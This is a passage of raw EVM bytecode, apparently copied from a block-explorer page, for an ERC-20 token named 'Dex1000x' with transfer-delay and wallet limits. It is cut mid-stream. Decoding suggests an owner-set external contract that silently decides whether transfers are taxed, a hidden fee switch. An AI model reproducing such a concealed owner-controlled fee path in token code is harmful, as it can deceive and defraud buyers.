20019081526020016000205461224d90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b55611b07838561224d90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ef90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611bfa858761224d90919063ffffffff16565b604051611c079190612bdf565b60405180910390a35050505050565b6000838311158290611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c559190612a3d565b60405180910390fd5b5060008385611c6d9190612f6c565b9050809150509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ce2573d6000803e3d6000fd5b5050565b600060085460105411611cfd576006549050611d29565b600854601054118015611d145750600b5460105411155b15611d23576009549050611d29565b600c5490505b90565b600080831415611d3f5760009050611da1565b60008284611d4d9190612f12565b9050828482611d5c9190612d70565b14611d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9390612aff565b60405180910390fd5b809150505b92915050565b6000611de983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612297565b905092915050565b6000600e5460105411611e08576007549050611e34565b600e54601054118015611e1f5750600b5460105411155b15611e2e57600a549050611e34565b600c5490505b90565b600060178054611e469061305b565b80601f0160208091040260200160405190810160405280929190818152602001828054611e729061305b565b8015611ebf5780601f10611e9457610100808354040283529160200191611ebf565b820191906000526020600020905b815481529060010190602001808311611ea257829003601f168201915b5050505050806020019051810190611ed791906124d5565b905090565b6000818311611eeb5782611eed565b815b905092915050565b6001601860016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f53577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f815781602001602082028036833780820191505090505b5090503081600081518110611fbf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561206157600080fd5b505afa158015612075573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209991906124ac565b816001815181106120d3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061213a30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fbc565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161219e959493929190612bfa565b600060405180830381600087803b1580156121b857600080fd5b505af11580156121cc573d6000803e3d6000fd5b50505050506000601860016101000a81548160ff02191690831515021790555050565b60008082846121fe9190612d1a565b905083811015612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a90612abf565b60405180910390fd5b8091505092915050565b600061228f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c16565b905092915050565b600080831182906122de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d59190612a3d565b60405180910390fd5b50600083856122ed9190612d70565b9050809150509392505050565b8280546123069061305b565b90600052602060002090601f016020900481019282612328576000855561236f565b82601f1061234157805160ff191683800117855561236f565b8280016001018555821561236f579182015b8281111561236e578251825591602001919060010190612353565b5b50905061237c9190612380565b5090565b5b80821115612399576000816000905550600101612381565b5090565b60006123b06123ab84612c94565b612c6f565b9050828152602081018484840111156123c857600080fd5b6123d3848285613019565b509392505050565b6000813590506123ea816134fd565b92915050565b6000815190506123ff816134fd565b92915050565b60008151905061241481613514565b92915050565b6000815190506124298161352b565b92915050565b600082601f83011261244057600080fd5b813561245084826020860161239d565b91505092915050565b60008135905061246881613542565b92915050565b60008151905061247d81613542565b92915050565b60006020828403121561249557600080fd5b60006124a3848285016123db565b91505092915050565b6000602082840312156124be57600080fd5b60006124cc848285016123f0565b91505092915050565b6000602082840312156124e757600080fd5b60006124f584828501612405565b91505092915050565b6000806040838503121561251157600080fd5b600061251f858286016123db565b9250506020612530858286016123db565b9150509250929050565b60008060006060848603121561254f57600080fd5b600061255d868287016123db565b935050602061256e868287016123db565b925050604061257f86828701612459565b9150509250925092565b6000806040838503121561259c57600080fd5b60006125aa858286016123db565b92505060206125bb85828601612459565b9150509250929050565b6000602082840312156125d757600080fd5b60006125e58482850161241a565b91505092915050565b60006020828403121561260057600080fd5b600082013567ffffffffffffffff81111561261a57600080fd5b6126268482850161242f565b91505092915050565b60006020828403121561264157600080fd5b600061264f8482850161246e565b91505092915050565b60008060006060848603121561266d57600080fd5b600061267b8682870161246e565b935050602061268c8682870161246e565b925050604061269d8682870161246e565b9150509250925092565b60006126b383836126bf565b60208301905092915050565b6126c881612fa0565b82525050565b6126d781612fa0565b82525050565b60006126e882612cd5565b6126f28185612cf8565b93506126fd83612cc5565b8060005b8381101561272e57815161271588826126a7565b975061272083612ceb565b925050600181019050612701565b5085935050505092915050565b61274481612fc4565b82525050565b61275381613007565b82525050565b600061276482612ce0565b61276e8185612d09565b935061277e818560208601613028565b612787816131c3565b840191505092915050565b600061279f602383612d09565b91506127aa826131e1565b604082019050919050565b60006127c2601983612d09565b91506127cd82613230565b602082019050919050565b60006127e5602283612d09565b91506127f082613259565b604082019050919050565b6000612808601b83612d09565b9150612813826132a8565b602082019050919050565b600061282b604983612d09565b9150612836826132d1565b606082019050919050565b600061284e602183612d09565b915061285982613346565b604082019050919050565b6000612871602083612d09565b915061287c82613395565b602082019050919050565b6000612894602983612d09565b915061289f826133be565b604082019050919050565b60006128b7602583612d09565b91506128c28261340d565b604082019050919050565b60006128da601a83612d09565b91506128e58261345c565b602082019050919050565b60006128fd602483612d09565b915061290882613485565b604082019050919050565b6000612920601783612d09565b915061292b826134d4565b602082019050919050565b61293f81612ff0565b82525050565b61294e81612ffa565b82525050565b600060208201905061296960008301846126ce565b92915050565b600060408201905061298460008301856126ce565b61299160208301846126ce565b9392505050565b60006040820190506129ad60008301856126ce565b6129ba6020830184612936565b9392505050565b600060c0820190506129d660008301896126ce565b6129e36020830188612936565b6129f0604083018761274a565b6129fd606083018661274a565b612a0a60808301856126ce565b612a1760a0830184612936565b979650505050505050565b6000602082019050612a37600083018461273b565b92915050565b60006020820190508181036000830152612a578184612759565b905092915050565b60006020820190508181036000830152612a7881612792565b9050919050565b60006020820190508181036000830152612a98816127b5565b9050919050565b60006020820190508181036000830152612ab8816127d8565b9050919050565b60006020820190508181036000830152612ad8816127fb565b9050919050565b60006020820190508181036000830152612af88161281e565b9050919050565b60006020820190508181036000830152612b1881612841565b9050919050565b60006020820190508181036000830152612b3881612864565b9050919050565b60006020820190508181036000830152612b5881612887565b9050919050565b60006020820190508181036000830152612b78816128aa565b9050919050565b60006020820190508181036000830152612b98816128cd565b9050919050565b60006020820190508181036000830152612bb8816128f0565b9050919050565b60006020820190508181036000830152612bd881612913565b9050919050565b6000602082019050612bf46000830184612936565b92915050565b600060a082019050612c0f6000830188612936565b612c1c602083018761274a565b8181036040830152612c2e81866126dd565b9050612c3d60608301856126ce565b612c4a6080830184612936565b9695505050505050565b6000602082019050612c696000830184612945565b92915050565b6000612c79612c8a565b9050612c85828261308d565b919050565b6000604051905090565b600067ffffffffffffffff821115612caf57612cae613194565b5b612cb8826131c3565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d2582612ff0565b9150612d3083612ff0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d6557612d64613107565b5b828201905092915050565b6000612d7b82612ff0565b9150612d8683612ff0565b925082612d9657612d95613136565b5b828204905092915050565b6000808291508390505b6001851115612deb57808604811115612dc757612dc6613107565b5b6001851615612dd65780820291505b8081029050612de4856131d4565b9450612dab565b94509492505050565b6000612dff82612ff0565b9150612e0a83612ffa565b9250612e377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612e3f565b905092915050565b600082612e4f5760019050612f0b565b81612e5d5760009050612f0b565b8160018114612e735760028114612e7d57612eac565b6001915050612f0b565b60ff841115612e8f57612e8e613107565b5b8360020a915084821115612ea657612ea5613107565b5b50612f0b565b5060208310610133831016604e8410600b8410161715612ee15782820a905083811115612edc57612edb613107565b5b612f0b565b612eee8484846001612da1565b92509050818404811115612f0557612f04613107565b5b81810290505b9392505050565b6000612f1d82612ff0565b9150612f2883612ff0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f6157612f60613107565b5b828202905092915050565b6000612f7782612ff0565b9150612f8283612ff0565b925082821015612f9557612f94613107565b5b828203905092915050565b6000612fab82612fd0565b9050919050565b6000612fbd82612fd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061301282612ff0565b9050919050565b82818337600083830152505050565b60005b8381101561304657808201518184015260208101905061302b565b83811115613055576000848401525b50505050565b6000600282049050600182168061307357607f821691505b6020821081141561308757613086613165565b5b50919050565b613096826131c3565b810181811067ffffffffffffffff821117156130b5576130b4613194565b5b80604052505050565b60006130c982612ff0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130fc576130fb613107565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61350681612fa0565b811461351157600080fd5b50565b61351d81612fb2565b811461352857600080fd5b50565b61353481612fc4565b811461353f57600080fd5b50565b61354b81612ff0565b811461355657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208b4421c5e5a81df3bf7f3209c51da5c716f96a6e8580b608faf8649a7802ef6364736f6c63430008040033

Deployed Bytecode

0x6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed146103b0578063c876d0b9146103db578063c9567bf914610406578063dd62ed3e1461041d578063f42938901461045a5761011f565b80637d1db4a5146102c75780638da5cb5b146102f25780638f9a55c01461031d57806395d89b4114610348578063a9059cbb146103735761011f565b806323b872dd116100e757806323b872dd146101e2578063313ce5671461021f5780636a943d4a1461024a57806370a0823114610273578063715018a6146102b05761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461018c57806318160ddd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610471565b6040516101469190612a3d565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612589565b6104ae565b6040516101839190612a22565b60405180910390f35b34801561019857600080fd5b506101a16104cc565b6040516101ae9190612bdf565b60405180910390f35b3480156101c357600080fd5b506101cc6104d2565b6040516101d99190612bdf565b60405180910390f35b3480156101ee57600080fd5b506102096004803603810190610204919061253a565b6104f9565b6040516102169190612a22565b60405180910390f35b34801561022b57600080fd5b506102346105d2565b6040516102419190612c54565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c91906125ee565b6105db565b005b34801561027f57600080fd5b5061029a60048036038101906102959190612483565b610747565b6040516102a79190612bdf565b60405180910390f35b3480156102bc57600080fd5b506102c5610790565b005b3480156102d357600080fd5b506102dc6108e3565b6040516102e99190612bdf565b60405180910390f35b3480156102fe57600080fd5b506103076108e9565b6040516103149190612954565b60405180910390f35b34801561032957600080fd5b50610332610912565b60405161033f9190612bdf565b60405180910390f35b34801561035457600080fd5b5061035d610918565b60405161036a9190612a3d565b60405180910390f35b34801561037f57600080fd5b5061039a60048036038101906103959190612589565b610955565b6040516103a79190612a22565b60405180910390f35b3480156103bc57600080fd5b506103c5610973565b6040516103d29190612bdf565b60405180910390f35b3480156103e757600080fd5b506103f0610979565b6040516103fd9190612a22565b60405180910390f35b34801561041257600080fd5b5061041b61098c565b005b34801561042957600080fd5b50610444600480360381019061043f91906124fe565b610f12565b6040516104519190612bdf565b60405180910390f35b34801561046657600080fd5b5061046f610f99565b005b60606040518060400160405280600881526020017f4465783130303078000000000000000000000000000000000000000000000000815250905090565b60006104c26104bb610fb4565b8484610fbc565b6001905092915050565b60145481565b60006009600a6104e29190612df4565b66017e9d8602b4006104f49190612f12565b905090565b6000610506848484611187565b6105c784610512610fb4565b6105c28560405180606001604052806028815260200161355a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610578610fb4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c169092919063ffffffff16565b610fbc565b600190509392505050565b60006009905090565b6105e3610fb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610670576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066790612b1f565b60405180910390fd5b6009600a61067e9190612df4565b66017e9d8602b4006106909190612f12565b6011819055506009600a6106a49190612df4565b66017e9d8602b4006106b69190612f12565b60128190555080601790805190602001906106d29291906122fa565b506000600560006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61071d9190612df4565b66017e9d8602b40061072f9190612f12565b60405161073c9190612bdf565b60405180910390a150565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610798610fb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612b1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f3130303078000000000000000000000000000000000000000000000000000000815250905090565b6000610969610962610fb4565b8484611187565b6001905092915050565b60135481565b600560009054906101000a900460ff1681565b610994610fb4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890612b1f565b60405180910390fd5b601860009054906101000a900460ff1615610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6890612bbf565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610afb9190612df4565b66017e9d8602b400610b0d9190612f12565b610fbc565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7a57600080fd5b505afa158015610b8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb291906124ac565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c3657600080fd5b505afa158015610c4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6e91906124ac565b6040518363ffffffff1660e01b8152600401610c8b92919061296f565b602060405180830381600087803b158015610ca557600080fd5b505af1158015610cb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdd91906124ac565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d6630610747565b600080610d716108e9565b426040518863ffffffff1660e01b8152600401610d93969594939291906129c1565b6060604051808303818588803b158015610dac57600080fd5b505af1158015610dc0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610de59190612658565b505050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e87929190612998565b602060405180830381600087803b158015610ea157600080fd5b505af1158015610eb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed991906125c5565b506000601860026101000a81548160ff0219169083151502179055506001601860006101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60004790506000811115610fb157610fb081611c7a565b5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561102c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102390612b9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561109c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109390612a9f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117a9190612bdf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee90612b5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125e90612a5f565b60405180910390fd5b600081116112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a190612b3f565b60405180910390fd5b6000808290506112b86108e9565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561132657506112f66108e9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561135e57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561139657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611958576113c860646113ba6113ab611ce6565b86611d2c90919063ffffffff16565b611da790919063ffffffff16565b9150600560009054906101000a900460ff161561155757601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561148b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156115565743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150890612adf565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156116025750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116585750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611713576011548311156116a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169990612a7f565b60405180910390fd5b601254836116af86610747565b6116b99190612d1a565b11156116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f190612b7f565b60405180910390fd5b6010600081548092919061170d906130be565b91905055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561179c57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156117d1576117ce60646117c06117b1611df1565b86611d2c90919063ffffffff16565b611da790919063ffffffff16565b91505b60006117dc30610747565b905060006117e8611e37565b73ffffffffffffffffffffffffffffffffffffffff166370a08231886040518263ffffffff1660e01b81526004016118209190612954565b60206040518083038186803b15801561183857600080fd5b505afa15801561184c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611870919061262f565b141561187b57600091505b601860019054906101000a900460ff161580156118e55750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80156118fd5750601860029054906101000a900460ff165b801561190a575060135481115b80156119195750600f54601054115b156119565761193b6119368561193184601454611edc565b611edc565b611ef5565b60004790506013548111156119545761195347611c7a565b5b505b505b6000821115611a5c576119b382600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ef90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a539190612bdf565b60405180910390a35b611aae81600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224d90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b55611b07838561224d90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ef90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611bfa858761224d90919063ffffffff16565b604051611c079190612bdf565b60405180910390a35050505050565b6000838311158290611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c559190612a3d565b60405180910390fd5b5060008385611c6d9190612f6c565b9050809150509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ce2573d6000803e3d6000fd5b5050565b600060085460105411611cfd576006549050611d29565b600854601054118015611d145750600b5460105411155b15611d23576009549050611d29565b600c5490505b90565b600080831415611d3f5760009050611da1565b60008284611d4d9190612f12565b9050828482611d5c9190612d70565b14611d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9390612aff565b60405180910390fd5b809150505b92915050565b6000611de983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612297565b905092915050565b6000600e5460105411611e08576007549050611e34565b600e54601054118015611e1f5750600b5460105411155b15611e2e57600a549050611e34565b600c5490505b90565b600060178054611e469061305b565b80601f0160208091040260200160405190810160405280929190818152602001828054611e729061305b565b8015611ebf5780601f10611e9457610100808354040283529160200191611ebf565b820191906000526020600020905b815481529060010190602001808311611ea257829003601f168201915b5050505050806020019051810190611ed791906124d5565b905090565b6000818311611eeb5782611eed565b815b905092915050565b6001601860016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f53577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f815781602001602082028036833780820191505090505b5090503081600081518110611fbf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561206157600080fd5b505afa158015612075573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209991906124ac565b816001815181106120d3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061213a30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fbc565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161219e959493929190612bfa565b600060405180830381600087803b1580156121b857600080fd5b505af11580156121cc573d6000803e3d6000fd5b50505050506000601860016101000a81548160ff02191690831515021790555050565b60008082846121fe9190612d1a565b905083811015612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a90612abf565b60405180910390fd5b8091505092915050565b600061228f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c16565b905092915050565b600080831182906122de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d59190612a3d565b60405180910390fd5b50600083856122ed9190612d70565b9050809150509392505050565b8280546123069061305b565b90600052602060002090601f016020900481019282612328576000855561236f565b82601f1061234157805160ff191683800117855561236f565b8280016001018555821561236f579182015b8281111561236e578251825591602001919060010190612353565b5b50905061237c9190612380565b5090565b5b80821115612399576000816000905550600101612381565b5090565b60006123b06123ab84612c94565b612c6f565b9050828152602081018484840111156123c857600080fd5b6123d3848285613019565b509392505050565b6000813590506123ea816134fd565b92915050565b6000815190506123ff816134fd565b92915050565b60008151905061241481613514565b92915050565b6000815190506124298161352b565b92915050565b600082601f83011261244057600080fd5b813561245084826020860161239d565b91505092915050565b60008135905061246881613542565b92915050565b60008151905061247d81613542565b92915050565b60006020828403121561249557600080fd5b60006124a3848285016123db565b91505092915050565b6000602082840312156124be57600080fd5b60006124cc848285016123f0565b91505092915050565b6000602082840312156124e757600080fd5b60006124f584828501612405565b91505092915050565b6000806040838503121561251157600080fd5b600061251f858286016123db565b9250506020612530858286016123db565b9150509250929050565b60008060006060848603121561254f57600080fd5b600061255d868287016123db565b935050602061256e868287016123db565b925050604061257f86828701612459565b9150509250925092565b6000806040838503121561259c57600080fd5b60006125aa858286016123db565b92505060206125bb85828601612459565b9150509250929050565b6000602082840312156125d757600080fd5b60006125e58482850161241a565b91505092915050565b60006020828403121561260057600080fd5b600082013567ffffffffffffffff81111561261a57600080fd5b6126268482850161242f565b91505092915050565b60006020828403121561264157600080fd5b600061264f8482850161246e565b91505092915050565b60008060006060848603121561266d57600080fd5b600061267b8682870161246e565b9